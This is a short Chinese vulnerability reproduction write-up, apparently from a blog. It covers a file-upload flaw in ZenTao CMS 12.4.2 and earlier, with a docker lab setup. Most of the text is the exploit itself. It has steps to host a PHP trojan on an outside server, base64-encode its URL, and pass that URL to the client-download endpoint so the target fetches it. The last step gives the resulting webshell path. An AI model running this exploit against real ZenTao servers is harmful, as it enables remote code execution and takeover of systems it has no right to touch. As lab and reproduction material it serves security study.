文章目录

• 一、漏洞概述
• 二、漏洞影响范围
• 三、环境搭建
• 四、利用流程
• • 1、登录
  • 2、准备
  • • （1）在服务器上准备相关的木马程序
    • （2）对恶意文件地址进行base64编码
  • 3、利用poc远程下载文件
  • 4、getshell

一、漏洞概述

禅道CMS<=12.4.2版本存在文件上传漏洞，该漏洞由于开发者对link参数过滤不严，导致攻击者对下载链接可控，导致可远程下载服务器恶意脚本文件，造成任意代码执行，获取webshell。

二、漏洞影响范围

禅道CMS<=12.4.2

三、环境搭建

docker-compose.yml

version: '3.2'services:  web:    image: nudttan91/cnvd-c-2020-121325:normal    ports:      - 80:80

四、利用流程

1、登录

进入环境后如图所示：

用户名：admin
密码：123456

登录进来后正常重置密码

2、准备

（1）在服务器上准备相关的木马程序

shell.php

 echo "";

打开apache或者nginx就可以，反正是从公网能够下载到shell.php这个的文件的方法都行

（2）对恶意文件地址进行base64编码

http://xxx.xxx.xxx.xxx/shell.php

aHR0cDovL3h4eC54eHgueHh4Lnh4eC9zaGVsbC5waHA=

3、利用poc远程下载文件

http://xxx.xxx.xxx.xxx/zentao/client-download-1-aHR0cDovL3h4eC54eHgueHh4Lnh4eC9zaGVsbC5waHA=-1.html

4、getshell

shell地址：http://xxx.xxx.xxx.xxx/zentao/data/client/1/shell.php

来源地址：https://blog.csdn.net/ZXW_NUDT/article/details/129959003